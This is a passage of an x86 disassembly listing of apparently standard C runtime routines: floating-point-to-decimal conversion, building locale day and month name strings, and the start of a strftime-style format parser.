		cmp	[ebp+var_48], 0
		jz	short loc_42E11C


loc_42E0E8:				; CODE XREF: sub_42DFD0+110j
		mov	ecx, [ebp+var_24]
		and	ecx, 40000000h
		test	ecx, ecx
		jnz	short loc_42E11C
		push	offset dword_434D40
		mov	edx, [ebp+arg_14]
		add	edx, 4
		push	edx
		call	sub_4184C0
		add	esp, 8
		mov	eax, [ebp+arg_14]
		mov	byte ptr [eax+3], 6
		mov	[ebp+var_58], 0
		jmp	loc_42E1B1
; ---------------------------------------------------------------------------


loc_42E11C:				; CODE XREF: sub_42DFD0+116j
					; sub_42DFD0+123j
		mov	ecx, [ebp+var_68]
		and	ecx, 0FFFFh
		test	ecx, ecx
		jz	short loc_42E15C
		cmp	[ebp+var_24], 0C0000000h
		jnz	short loc_42E15C
		cmp	[ebp+var_48], 0
		jnz	short loc_42E15C
		push	offset dword_434D38
		mov	edx, [ebp+arg_14]
		add	edx, 4
		push	edx
		call	sub_4184C0
		add	esp, 8
		mov	eax, [ebp+arg_14]
		mov	byte ptr [eax+3], 5
		mov	[ebp+var_58], 0
		jmp	short loc_42E1B1
; ---------------------------------------------------------------------------


loc_42E15C:				; CODE XREF: sub_42DFD0+157j
					; sub_42DFD0+160j ...
		cmp	[ebp+var_24], 80000000h
		jnz	short loc_42E18F
		cmp	[ebp+var_48], 0
		jnz	short loc_42E18F
		push	offset dword_434D30
		mov	ecx, [ebp+arg_14]
		add	ecx, 4
		push	ecx
		call	sub_4184C0
		add	esp, 8
		mov	edx, [ebp+arg_14]
		mov	byte ptr [edx+3], 5
		mov	[ebp+var_58], 0
		jmp	short loc_42E1B1
; ---------------------------------------------------------------------------


loc_42E18F:				; CODE XREF: sub_42DFD0+193j
					; sub_42DFD0+199j
		push	offset dword_434D28
		mov	eax, [ebp+arg_14]
		add	eax, 4
		push	eax
		call	sub_4184C0
		add	esp, 8
		mov	ecx, [ebp+arg_14]
		mov	byte ptr [ecx+3], 6
		mov	[ebp+var_58], 0


loc_42E1B1:				; CODE XREF: sub_42DFD0+147j
					; sub_42DFD0+18Aj ...
		jmp	loc_42E4DF
; ---------------------------------------------------------------------------


loc_42E1B6:				; CODE XREF: sub_42DFD0+FBj
		mov	edx, [ebp+var_70]
		and	edx, 0FFFFh
		sar	edx, 8
		mov	word ptr [ebp+var_6C], dx
		mov	eax, [ebp+var_70]
		and	eax, 0FFFFh
		and	eax, 0FFh
		mov	[ebp+var_C], ax
		mov	ecx, [ebp+var_24]
		shr	ecx, 18h
		mov	word ptr [ebp+var_40], cx
		mov	edx, [ebp+var_64]
		and	edx, 0FFFFh
		mov	eax, [ebp+var_70]
		and	eax, 0FFFFh
		imul	edx, eax
		mov	ecx, [ebp+var_3C]
		and	ecx, 0FFFFh
		mov	eax, [ebp+var_6C]
		and	eax, 0FFFFh
		imul	ecx, eax
		add	edx, ecx
		mov	ecx, [ebp+var_60]
		and	ecx, 0FFFFh
		mov	eax, [ebp+var_40]
		and	eax, 0FFFFh
		imul	ecx, eax
		add	edx, ecx
		sub	edx, [ebp+var_20]
		mov	[ebp+var_8], edx
		mov	ecx, [ebp+var_8]
		sar	ecx, 10h
		mov	[ebp+var_5C], cx
		mov	dx, word ptr [ebp+var_70]
		mov	word ptr [ebp+var_2E], dx
		mov	eax, [ebp+var_24]
		mov	[ebp+var_32], eax
		mov	ecx, [ebp+var_48]
		mov	[ebp+var_38+2],	ecx
		mov	word ptr [ebp+var_38], 0
		push	1
		movsx	edx, [ebp+var_5C]
		neg	edx
		push	edx
		lea	eax, [ebp+var_38]
		push	eax
		call	sub_4306E0
		add	esp, 0Ch
		mov	ecx, [ebp+var_2E]
		and	ecx, 0FFFFh
		cmp	ecx, 3FFFh
		jl	short loc_42E28D
		mov	dx, [ebp+var_5C]
		add	dx, 1
		mov	[ebp+var_5C], dx
		lea	eax, [ebp+var_54]
		push	eax
		lea	ecx, [ebp+var_38]
		push	ecx
		call	sub_4302A0
		add	esp, 8


loc_42E28D:				; CODE XREF: sub_42DFD0+29Fj
		mov	edx, [ebp+arg_14]
		mov	ax, [ebp+var_5C]
		mov	[edx], ax
		mov	ecx, [ebp+arg_10]
		and	ecx, 1
		test	ecx, ecx
		jz	short loc_42E2E1
		movsx	edx, [ebp+var_5C]
		mov	eax, [ebp+arg_C]
		add	eax, edx
		mov	[ebp+arg_C], eax
		cmp	[ebp+arg_C], 0
		jg	short loc_42E2E1
		mov	ecx, [ebp+arg_14]
		mov	word ptr [ecx],	0
		mov	edx, [ebp+arg_14]
		mov	byte ptr [edx+2], 20h
		mov	eax, [ebp+arg_14]
		mov	byte ptr [eax+3], 1
		mov	ecx, [ebp+arg_14]
		mov	byte ptr [ecx+4], 30h
		mov	edx, [ebp+arg_14]
		mov	byte ptr [edx+5], 0
		mov	eax, 1
		jmp	loc_42E4E2
; ---------------------------------------------------------------------------


loc_42E2E1:				; CODE XREF: sub_42DFD0+2CFj
					; sub_42DFD0+2E1j
		cmp	[ebp+arg_C], 15h
		jle	short loc_42E2EE
		mov	[ebp+arg_C], 15h


loc_42E2EE:				; CODE XREF: sub_42DFD0+315j
		mov	eax, [ebp+var_2E]
		and	eax, 0FFFFh
		sub	eax, 3FFEh
		mov	[ebp+var_2E+2],	eax
		mov	word ptr [ebp+var_2E], 0
		mov	[ebp+var_44], 0
		jmp	short loc_42E316
; ---------------------------------------------------------------------------


loc_42E30D:				; CODE XREF: sub_42DFD0+358j
		mov	ecx, [ebp+var_44]
		add	ecx, 1
		mov	[ebp+var_44], ecx


loc_42E316:				; CODE XREF: sub_42DFD0+33Bj
		cmp	[ebp+var_44], 8
		jge	short loc_42E32A
		lea	edx, [ebp+var_38]
		push	edx
		call	sub_42D240
		add	esp, 4
		jmp	short loc_42E30D
; ---------------------------------------------------------------------------


loc_42E32A:				; CODE XREF: sub_42DFD0+34Aj
		cmp	[ebp+var_2E+2],	0
		jge	short loc_42E35C
		mov	eax, [ebp+var_2E+2]
		neg	eax
		and	eax, 0FFh
		mov	[ebp+var_74], eax
		jmp	short loc_42E348
; ---------------------------------------------------------------------------


loc_42E33F:				; CODE XREF: sub_42DFD0+38Aj
		mov	ecx, [ebp+var_74]
		sub	ecx, 1
		mov	[ebp+var_74], ecx


loc_42E348:				; CODE XREF: sub_42DFD0+36Dj
		cmp	[ebp+var_74], 0
		jle	short loc_42E35C
		lea	edx, [ebp+var_38]
		push	edx
		call	sub_42D2A0
		add	esp, 4
		jmp	short loc_42E33F
; ---------------------------------------------------------------------------


loc_42E35C:				; CODE XREF: sub_42DFD0+35Ej
					; sub_42DFD0+37Cj
		mov	eax, [ebp+arg_14]
		add	eax, 4
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+arg_C]
		add	ecx, 1
		mov	[ebp+var_10], ecx
		jmp	short loc_42E379
; ---------------------------------------------------------------------------


loc_42E370:				; CODE XREF: sub_42DFD0+413j
		mov	edx, [ebp+var_10]
		sub	edx, 1
		mov	[ebp+var_10], edx


loc_42E379:				; CODE XREF: sub_42DFD0+39Ej
		cmp	[ebp+var_10], 0
		jle	short loc_42E3E5
		mov	eax, [ebp+var_38]
		mov	[ebp+var_1C], eax
		mov	ecx, [ebp-34h]
		mov	[ebp+var_18], ecx
		mov	edx, [ebp+var_32+2]
		mov	[ebp+var_14], edx
		lea	eax, [ebp+var_38]
		push	eax
		call	sub_42D240
		add	esp, 4
		lea	ecx, [ebp+var_38]
		push	ecx
		call	sub_42D240
		add	esp, 4
		lea	edx, [ebp+var_1C]
		push	edx
		lea	eax, [ebp+var_38]
		push	eax
		call	sub_42D190
		add	esp, 8
		lea	ecx, [ebp+var_38]
		push	ecx
		call	sub_42D240
		add	esp, 4
		mov	edx, [ebp+var_2E+1]
		and	edx, 0FFh
		add	edx, 30h
		mov	eax, [ebp+var_4]
		mov	[eax], dl
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx
		mov	byte ptr [ebp+var_2E+1], 0
		jmp	short loc_42E370
; ---------------------------------------------------------------------------


loc_42E3E5:				; CODE XREF: sub_42DFD0+3ADj
		mov	edx, [ebp+var_4]
		sub	edx, 1
		mov	[ebp+var_4], edx
		mov	eax, [ebp+var_4]
		mov	cl, [eax]
		mov	[ebp+var_28], cl
		mov	edx, [ebp+var_4]
		sub	edx, 1
		mov	[ebp+var_4], edx
		movsx	eax, [ebp+var_28]
		cmp	eax, 35h
		jl	short loc_42E463
		jmp	short loc_42E413
; ---------------------------------------------------------------------------


loc_42E40A:				; CODE XREF: sub_42DFD0+45Fj
		mov	ecx, [ebp+var_4]
		sub	ecx, 1
		mov	[ebp+var_4], ecx


loc_42E413:				; CODE XREF: sub_42DFD0+438j
		mov	edx, [ebp+arg_14]
		add	edx, 4
		cmp	[ebp+var_4], edx
		jb	short loc_42E431
		mov	eax, [ebp+var_4]
		movsx	ecx, byte ptr [eax]
		cmp	ecx, 39h
		jnz	short loc_42E431
		mov	edx, [ebp+var_4]
		mov	byte ptr [edx],	30h
		jmp	short loc_42E40A
; ---------------------------------------------------------------------------


loc_42E431:				; CODE XREF: sub_42DFD0+44Cj
					; sub_42DFD0+457j
		mov	eax, [ebp+arg_14]
		add	eax, 4
		cmp	[ebp+var_4], eax
		jnb	short loc_42E455
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+arg_14]
		mov	ax, [edx]
		add	ax, 1
		mov	ecx, [ebp+arg_14]
		mov	[ecx], ax


loc_42E455:				; CODE XREF: sub_42DFD0+46Aj
		mov	edx, [ebp+var_4]
		mov	al, [edx]
		add	al, 1
		mov	ecx, [ebp+var_4]
		mov	[ecx], al
		jmp	short loc_42E4BC
; ---------------------------------------------------------------------------


loc_42E463:				; CODE XREF: sub_42DFD0+436j
		jmp	short loc_42E46E
; ---------------------------------------------------------------------------


loc_42E465:				; CODE XREF: sub_42DFD0+4B4j
		mov	edx, [ebp+var_4]
		sub	edx, 1
		mov	[ebp+var_4], edx


loc_42E46E:				; CODE XREF: sub_42DFD0:loc_42E463j
		mov	eax, [ebp+arg_14]
		add	eax, 4
		cmp	[ebp+var_4], eax
		jb	short loc_42E486
		mov	ecx, [ebp+var_4]
		movsx	edx, byte ptr [ecx]
		cmp	edx, 30h
		jnz	short loc_42E486
		jmp	short loc_42E465
; ---------------------------------------------------------------------------


loc_42E486:				; CODE XREF: sub_42DFD0+4A7j
					; sub_42DFD0+4B2j
		mov	eax, [ebp+arg_14]
		add	eax, 4
		cmp	[ebp+var_4], eax
		jnb	short loc_42E4BC
		mov	ecx, [ebp+arg_14]
		mov	word ptr [ecx],	0
		mov	edx, [ebp+arg_14]
		mov	byte ptr [edx+2], 20h
		mov	eax, [ebp+arg_14]
		mov	byte ptr [eax+3], 1
		mov	ecx, [ebp+arg_14]
		mov	byte ptr [ecx+4], 30h
		mov	edx, [ebp+arg_14]
		mov	byte ptr [edx+5], 0
		mov	eax, 1
		jmp	short loc_42E4E2
; ---------------------------------------------------------------------------


loc_42E4BC:				; CODE XREF: sub_42DFD0+491j
					; sub_42DFD0+4BFj
		mov	eax, [ebp+arg_14]
		add	eax, 4
		mov	ecx, [ebp+var_4]
		sub	ecx, eax
		add	ecx, 1
		mov	edx, [ebp+arg_14]
		mov	[edx+3], cl
		mov	eax, [ebp+arg_14]
		movsx	ecx, byte ptr [eax+3]
		mov	edx, [ebp+arg_14]
		mov	byte ptr [edx+ecx+4], 0


loc_42E4DF:				; CODE XREF: sub_42DFD0:loc_42E1B1j
		mov	eax, [ebp+var_58]


loc_42E4E2:				; CODE XREF: sub_42DFD0+E7j
					; sub_42DFD0+30Cj ...
		mov	esp, ebp
		pop	ebp
		retn
sub_42DFD0	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	esi
		mov	eax, off_444DA8
		mov	[ebp-0Ch], eax
		mov	dword ptr [ebp-8], 0
		mov	dword ptr [ebp-10h], 0
		jmp	short loc_42E518
; ---------------------------------------------------------------------------


loc_42E50F:				; CODE XREF: ___:0042E54Fj
		mov	ecx, [ebp-10h]
		add	ecx, 1
		mov	[ebp-10h], ecx


loc_42E518:				; CODE XREF: ___:0042E50Dj
		cmp	dword ptr [ebp-10h], 7
		jnb	short loc_42E551
		mov	edx, [ebp-10h]
		mov	eax, [ebp-0Ch]
		mov	ecx, [eax+edx*4]
		push	ecx
		call	sub_414BE0
		add	esp, 4
		mov	esi, eax
		mov	edx, [ebp-10h]
		mov	eax, [ebp-0Ch]
		mov	ecx, [eax+edx*4+1Ch]
		push	ecx
		call	sub_414BE0
		add	esp, 4
		add	eax, [ebp-8]
		lea	edx, [eax+esi+2]
		mov	[ebp-8], edx
		jmp	short loc_42E50F
; ---------------------------------------------------------------------------


loc_42E551:				; CODE XREF: ___:0042E51Cj
		mov	eax, [ebp-8]
		add	eax, 1
		push	eax
		call	sub_414DB0
		add	esp, 4
		mov	[ebp-4], eax
		cmp	dword ptr [ebp-4], 0
		jz	loc_42E609
		mov	ecx, [ebp-4]
		mov	[ebp-14h], ecx
		mov	dword ptr [ebp-10h], 0
		jmp	short loc_42E585
; ---------------------------------------------------------------------------


loc_42E57C:				; CODE XREF: ___:0042E5F8j
		mov	edx, [ebp-10h]
		add	edx, 1
		mov	[ebp-10h], edx


loc_42E585:				; CODE XREF: ___:0042E57Aj
		cmp	dword ptr [ebp-10h], 7
		jnb	short loc_42E5FA
		mov	eax, [ebp-14h]
		mov	byte ptr [eax],	3Ah
		mov	ecx, [ebp-14h]
		add	ecx, 1
		mov	[ebp-14h], ecx
		mov	edx, [ebp-10h]
		mov	eax, [ebp-0Ch]
		mov	ecx, [eax+edx*4]
		push	ecx
		mov	edx, [ebp-14h]
		push	edx
		call	sub_4184C0
		add	esp, 8
		push	eax
		call	sub_414BE0
		add	esp, 4
		mov	ecx, [ebp-14h]
		add	ecx, eax
		mov	[ebp-14h], ecx
		mov	edx, [ebp-14h]
		mov	byte ptr [edx],	3Ah
		mov	eax, [ebp-14h]
		add	eax, 1
		mov	[ebp-14h], eax
		mov	ecx, [ebp-10h]
		mov	edx, [ebp-0Ch]
		mov	eax, [edx+ecx*4+1Ch]
		push	eax
		mov	ecx, [ebp-14h]
		push	ecx
		call	sub_4184C0
		add	esp, 8
		push	eax
		call	sub_414BE0
		add	esp, 4
		mov	edx, [ebp-14h]
		add	edx, eax
		mov	[ebp-14h], edx
		jmp	short loc_42E57C
; ---------------------------------------------------------------------------


loc_42E5FA:				; CODE XREF: ___:0042E589j
		mov	eax, [ebp-14h]
		mov	byte ptr [eax],	0
		mov	ecx, [ebp-14h]
		add	ecx, 1
		mov	[ebp-14h], ecx


loc_42E609:				; CODE XREF: ___:0042E567j
		mov	eax, [ebp-4]
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	esi
		mov	eax, off_444DA8
		mov	[ebp-0Ch], eax
		mov	dword ptr [ebp-8], 0
		mov	dword ptr [ebp-10h], 0
		jmp	short loc_42E648
; ---------------------------------------------------------------------------


loc_42E63F:				; CODE XREF: ___:0042E680j
		mov	ecx, [ebp-10h]
		add	ecx, 1
		mov	[ebp-10h], ecx


loc_42E648:				; CODE XREF: ___:0042E63Dj
		cmp	dword ptr [ebp-10h], 0Ch
		jnb	short loc_42E682
		mov	edx, [ebp-10h]
		mov	eax, [ebp-0Ch]
		mov	ecx, [eax+edx*4+38h]
		push	ecx
		call	sub_414BE0
		add	esp, 4
		mov	esi, eax
		mov	edx, [ebp-10h]
		mov	eax, [ebp-0Ch]
		mov	ecx, [eax+edx*4+68h]
		push	ecx
		call	sub_414BE0
		add	esp, 4
		add	eax, [ebp-8]
		lea	edx, [eax+esi+2]
		mov	[ebp-8], edx
		jmp	short loc_42E63F
; ---------------------------------------------------------------------------


loc_42E682:				; CODE XREF: ___:0042E64Cj
		mov	eax, [ebp-8]
		add	eax, 1
		push	eax
		call	sub_414DB0
		add	esp, 4
		mov	[ebp-4], eax
		cmp	dword ptr [ebp-4], 0
		jz	loc_42E73B
		mov	ecx, [ebp-4]
		mov	[ebp-14h], ecx
		mov	dword ptr [ebp-10h], 0
		jmp	short loc_42E6B6
; ---------------------------------------------------------------------------


loc_42E6AD:				; CODE XREF: ___:0042E72Aj
		mov	edx, [ebp-10h]
		add	edx, 1
		mov	[ebp-10h], edx


loc_42E6B6:				; CODE XREF: ___:0042E6ABj
		cmp	dword ptr [ebp-10h], 0Ch
		jnb	short loc_42E72C
		mov	eax, [ebp-14h]
		mov	byte ptr [eax],	3Ah
		mov	ecx, [ebp-14h]
		add	ecx, 1
		mov	[ebp-14h], ecx
		mov	edx, [ebp-10h]
		mov	eax, [ebp-0Ch]
		mov	ecx, [eax+edx*4+38h]
		push	ecx
		mov	edx, [ebp-14h]
		push	edx
		call	sub_4184C0
		add	esp, 8
		push	eax
		call	sub_414BE0
		add	esp, 4
		mov	ecx, [ebp-14h]
		add	ecx, eax
		mov	[ebp-14h], ecx
		mov	edx, [ebp-14h]
		mov	byte ptr [edx],	3Ah
		mov	eax, [ebp-14h]
		add	eax, 1
		mov	[ebp-14h], eax
		mov	ecx, [ebp-10h]
		mov	edx, [ebp-0Ch]
		mov	eax, [edx+ecx*4+68h]
		push	eax
		mov	ecx, [ebp-14h]
		push	ecx
		call	sub_4184C0
		add	esp, 8
		push	eax
		call	sub_414BE0
		add	esp, 4
		mov	edx, [ebp-14h]
		add	edx, eax
		mov	[ebp-14h], edx
		jmp	short loc_42E6AD
; ---------------------------------------------------------------------------


loc_42E72C:				; CODE XREF: ___:0042E6BAj
		mov	eax, [ebp-14h]
		mov	byte ptr [eax],	0
		mov	ecx, [ebp-14h]
		add	ecx, 1
		mov	[ebp-14h], ecx


loc_42E73B:				; CODE XREF: ___:0042E698j
		mov	eax, [ebp-4]
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	esi
		mov	eax, off_444DA8
		mov	[ebp-0Ch], eax
		mov	dword ptr [ebp-8], 0
		mov	dword ptr [ebp-10h], 0
		jmp	short loc_42E778
; ---------------------------------------------------------------------------


loc_42E76F:				; CODE XREF: ___:0042E7AFj
		mov	ecx, [ebp-10h]
		add	ecx, 1
		mov	[ebp-10h], ecx


loc_42E778:				; CODE XREF: ___:0042E76Dj
		cmp	dword ptr [ebp-10h], 7
		jnb	short loc_42E7B1
		mov	edx, [ebp-10h]
		mov	eax, [ebp-0Ch]
		mov	ecx, [eax+edx*4]
		push	ecx
		call	sub_414BE0
		add	esp, 4
		mov	esi, eax
		mov	edx, [ebp-10h]
		mov	eax, [ebp-0Ch]
		mov	ecx, [eax+edx*4+1Ch]
		push	ecx
		call	sub_414BE0
		add	esp, 4
		add	eax, [ebp-8]
		lea	edx, [eax+esi+2]
		mov	[ebp-8], edx
		jmp	short loc_42E76F
; ---------------------------------------------------------------------------


loc_42E7B1:				; CODE XREF: ___:0042E77Cj
		mov	dword ptr [ebp-10h], 0
		jmp	short loc_42E7C3
; ---------------------------------------------------------------------------


loc_42E7BA:				; CODE XREF: ___:0042E7FBj
		mov	eax, [ebp-10h]
		add	eax, 1
		mov	[ebp-10h], eax


loc_42E7C3:				; CODE XREF: ___:0042E7B8j
		cmp	dword ptr [ebp-10h], 0Ch
		jnb	short loc_42E7FD
		mov	ecx, [ebp-10h]
		mov	edx, [ebp-0Ch]
		mov	eax, [edx+ecx*4+38h]
		push	eax
		call	sub_414BE0
		add	esp, 4
		mov	esi, eax
		mov	ecx, [ebp-10h]
		mov	edx, [ebp-0Ch]
		mov	eax, [edx+ecx*4+68h]
		push	eax
		call	sub_414BE0
		add	esp, 4
		add	eax, [ebp-8]
		lea	ecx, [eax+esi+2]
		mov	[ebp-8], ecx
		jmp	short loc_42E7BA
; ---------------------------------------------------------------------------


loc_42E7FD:				; CODE XREF: ___:0042E7C7j
		mov	edx, [ebp-0Ch]
		mov	eax, [edx+98h]
		push	eax
		call	sub_414BE0
		add	esp, 4
		mov	esi, eax
		mov	ecx, [ebp-0Ch]
		mov	edx, [ecx+9Ch]
		push	edx
		call	sub_414BE0
		add	esp, 4
		add	eax, [ebp-8]
		lea	eax, [eax+esi+2]
		mov	[ebp-8], eax
		mov	ecx, [ebp-0Ch]
		mov	edx, [ecx+0A0h]
		push	edx
		call	sub_414BE0
		add	esp, 4
		mov	ecx, [ebp-8]
		lea	edx, [ecx+eax+1]
		mov	[ebp-8], edx
		mov	eax, [ebp-0Ch]
		mov	ecx, [eax+0A4h]
		push	ecx
		call	sub_414BE0
		add	esp, 4
		mov	edx, [ebp-8]
		lea	eax, [edx+eax+1]
		mov	[ebp-8], eax
		mov	ecx, [ebp-0Ch]
		mov	edx, [ecx+0A8h]
		push	edx
		call	sub_414BE0
		add	esp, 4
		mov	ecx, [ebp-8]
		lea	edx, [ecx+eax+1]
		mov	[ebp-8], edx
		mov	eax, [ebp-8]
		add	eax, 0ACh
		push	eax
		call	sub_414DB0
		add	esp, 4
		mov	[ebp-4], eax
		cmp	dword ptr [ebp-4], 0
		jz	loc_42EAB6
		mov	ecx, [ebp-4]
		mov	[ebp-18h], ecx
		mov	edx, [ebp-4]
		add	edx, 0ACh
		mov	[ebp-14h], edx
		push	0ACh
		mov	eax, off_444DA8
		push	eax
		mov	ecx, [ebp-4]
		push	ecx
		call	sub_4187B0
		add	esp, 0Ch
		mov	dword ptr [ebp-10h], 0
		jmp	short loc_42E8DA
; ---------------------------------------------------------------------------


loc_42E8D1:				; CODE XREF: ___:0042E94Cj
		mov	edx, [ebp-10h]
		add	edx, 1
		mov	[ebp-10h], edx


loc_42E8DA:				; CODE XREF: ___:0042E8CFj
		cmp	dword ptr [ebp-10h], 7
		jnb	short loc_42E94E
		mov	eax, [ebp-10h]
		mov	ecx, [ebp-18h]
		mov	edx, [ebp-14h]
		mov	[ecx+eax*4], edx
		mov	eax, [ebp-10h]
		mov	ecx, [ebp-0Ch]
		mov	edx, [ecx+eax*4]
		push	edx
		mov	eax, [ebp-14h]
		push	eax
		call	sub_4184C0
		add	esp, 8
		push	eax
		call	sub_414BE0
		add	esp, 4
		mov	ecx, [ebp-14h]
		lea	edx, [ecx+eax+1]
		mov	[ebp-14h], edx
		mov	eax, [ebp-10h]
		mov	ecx, [ebp-18h]
		mov	edx, [ebp-14h]
		mov	[ecx+eax*4+1Ch], edx
		mov	eax, [ebp-10h]
		mov	ecx, [ebp-0Ch]
		mov	edx, [ecx+eax*4+1Ch]
		push	edx
		mov	eax, [ebp-14h]
		push	eax
		call	sub_4184C0
		add	esp, 8
		push	eax
		call	sub_414BE0
		add	esp, 4
		mov	ecx, [ebp-14h]
		lea	edx, [ecx+eax+1]
		mov	[ebp-14h], edx
		jmp	short loc_42E8D1
; ---------------------------------------------------------------------------


loc_42E94E:				; CODE XREF: ___:0042E8DEj
		mov	dword ptr [ebp-10h], 0
		jmp	short loc_42E960
; ---------------------------------------------------------------------------


loc_42E957:				; CODE XREF: ___:0042E9D4j
		mov	eax, [ebp-10h]
		add	eax, 1
		mov	[ebp-10h], eax


loc_42E960:				; CODE XREF: ___:0042E955j
		cmp	dword ptr [ebp-10h], 0Ch
		jnb	short loc_42E9D6
		mov	ecx, [ebp-10h]
		mov	edx, [ebp-18h]
		mov	eax, [ebp-14h]
		mov	[edx+ecx*4+38h], eax
		mov	ecx, [ebp-10h]
		mov	edx, [ebp-0Ch]
		mov	eax, [edx+ecx*4+38h]
		push	eax
		mov	ecx, [ebp-14h]
		push	ecx
		call	sub_4184C0
		add	esp, 8
		push	eax
		call	sub_414BE0
		add	esp, 4
		mov	edx, [ebp-14h]
		lea	eax, [edx+eax+1]
		mov	[ebp-14h], eax
		mov	ecx, [ebp-10h]
		mov	edx, [ebp-18h]
		mov	eax, [ebp-14h]
		mov	[edx+ecx*4+68h], eax
		mov	ecx, [ebp-10h]
		mov	edx, [ebp-0Ch]
		mov	eax, [edx+ecx*4+68h]
		push	eax
		mov	ecx, [ebp-14h]
		push	ecx
		call	sub_4184C0
		add	esp, 8
		push	eax
		call	sub_414BE0
		add	esp, 4
		mov	edx, [ebp-14h]
		lea	eax, [edx+eax+1]
		mov	[ebp-14h], eax
		jmp	short loc_42E957
; ---------------------------------------------------------------------------


loc_42E9D6:				; CODE XREF: ___:0042E964j
		mov	ecx, [ebp-18h]
		mov	edx, [ebp-14h]
		mov	[ecx+98h], edx
		mov	eax, [ebp-0Ch]
		mov	ecx, [eax+98h]
		push	ecx
		mov	edx, [ebp-14h]
		push	edx
		call	sub_4184C0
		add	esp, 8
		push	eax
		call	sub_414BE0
		add	esp, 4
		mov	ecx, [ebp-14h]
		lea	edx, [ecx+eax+1]
		mov	[ebp-14h], edx
		mov	eax, [ebp-18h]
		mov	ecx, [ebp-14h]
		mov	[eax+9Ch], ecx
		mov	edx, [ebp-0Ch]
		mov	eax, [edx+9Ch]
		push	eax
		mov	ecx, [ebp-14h]
		push	ecx
		call	sub_4184C0
		add	esp, 8
		push	eax
		call	sub_414BE0
		add	esp, 4
		mov	edx, [ebp-14h]
		lea	eax, [edx+eax+1]
		mov	[ebp-14h], eax
		mov	ecx, [ebp-18h]
		mov	edx, [ebp-14h]
		mov	[ecx+0A0h], edx
		mov	eax, [ebp-0Ch]
		mov	ecx, [eax+0A0h]
		push	ecx
		mov	edx, [ebp-14h]
		push	edx
		call	sub_4184C0
		add	esp, 8
		push	eax
		call	sub_414BE0
		add	esp, 4
		mov	ecx, [ebp-14h]
		lea	edx, [ecx+eax+1]
		mov	[ebp-14h], edx
		mov	eax, [ebp-18h]
		mov	ecx, [ebp-14h]
		mov	[eax+0A4h], ecx
		mov	edx, [ebp-0Ch]
		mov	eax, [edx+0A4h]
		push	eax
		mov	ecx, [ebp-14h]
		push	ecx
		call	sub_4184C0
		add	esp, 8
		push	eax
		call	sub_414BE0
		add	esp, 4
		mov	edx, [ebp-14h]
		lea	eax, [edx+eax+1]
		mov	[ebp-14h], eax
		mov	ecx, [ebp-18h]
		mov	edx, [ebp-14h]
		mov	[ecx+0A8h], edx


loc_42EAB6:				; CODE XREF: ___:0042E899j
		mov	eax, [ebp-4]
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	0
		mov	eax, [ebp+14h]
		push	eax
		mov	ecx, [ebp+10h]
		push	ecx
		mov	edx, [ebp+0Ch]
		push	edx
		mov	eax, [ebp+8]
		push	eax
		call	sub_42EAE0
		add	esp, 14h
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42EAE0	proc near		; CODE XREF: ___:0042EAD5p

var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		cmp	[ebp+arg_10], 0
		jnz	short loc_42EAF6
		mov	eax, off_444DA8
		mov	[ebp+var_10], eax
		jmp	short loc_42EAFC
; ---------------------------------------------------------------------------


loc_42EAF6:				; CODE XREF: sub_42EAE0+Aj
		mov	ecx, [ebp+arg_10]
		mov	[ebp+var_10], ecx


loc_42EAFC:				; CODE XREF: sub_42EAE0+14j
		mov	edx, [ebp+var_10]
		mov	[ebp+var_4], edx
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_C], eax
		push	offset dword_4DB45C
		call	near ptr 2840CCAh
		nop
		cmp	dword_4DB458, 0
		jz	short loc_42EB3A
		push	offset dword_4DB45C
		call	near ptr 2840C7Bh
		nop
		push	13h
		call	sub_41B780
		add	esp, 4
		mov	[ebp+var_8], 1
		jmp	short loc_42EB41
; ---------------------------------------------------------------------------


loc_42EB3A:				; CODE XREF: sub_42EAE0+3Aj
		mov	[ebp+var_8], 0


loc_42EB41:				; CODE XREF: sub_42EAE0+58j
					; sub_42EAE0:loc_42EC2Dj
		cmp	[ebp+var_C], 0
		jbe	loc_42EC32
		mov	ecx, [ebp+arg_8]
		mov	dl, [ecx]
		mov	[ebp+var_14], dl
		cmp	[ebp+var_14], 0
		jz	short loc_42EB61
		cmp	[ebp+var_14], 25h
		jz	short loc_42EB66
		jmp	short loc_42EBC0
; ---------------------------------------------------------------------------


loc_42EB61:				; CODE XREF: sub_42EAE0+77j
		jmp	loc_42EC32
; ---------------------------------------------------------------------------


loc_42EB66:				; CODE XREF: sub_42EAE0+7Dj
		mov	eax, [ebp+arg_8]
		add	eax, 1
		mov	[ebp+arg_8], eax
		mov	dword_4DB450, 0
		mov	ecx, [ebp+arg_8]
		movsx	edx, byte ptr [ecx]
		cmp	edx, 23h
		jnz	short loc_42EB97
		mov	dword_4DB450, 1
		mov	eax, [ebp+arg_8]
		add	eax, 1
		mov	[ebp+arg_8], eax


loc_42EB97:				; CODE XREF: sub_42EAE0+A2j
		mov	ecx, [ebp+var_4]
		push	ecx
		lea	edx, [ebp+var_C]
		push	edx
		lea	eax, [ebp+arg_0]
		push	eax
		mov	ecx, [ebp+arg_C]
		push	ecx
		mov	edx, [ebp+arg_8]
		mov	al, [edx]
		push	eax
		call	sub_42EC70
		add	esp, 14h
		mov	ecx, [ebp+arg_8]
		add	ecx, 1
		mov	[ebp+arg_8], ecx
		jmp	short loc_42EC2D
; ---------------------------------------------------------------------------


loc_42EBC0:				; CODE XREF: sub_42EAE0+7Fj
		mov	edx, [ebp+arg_8]
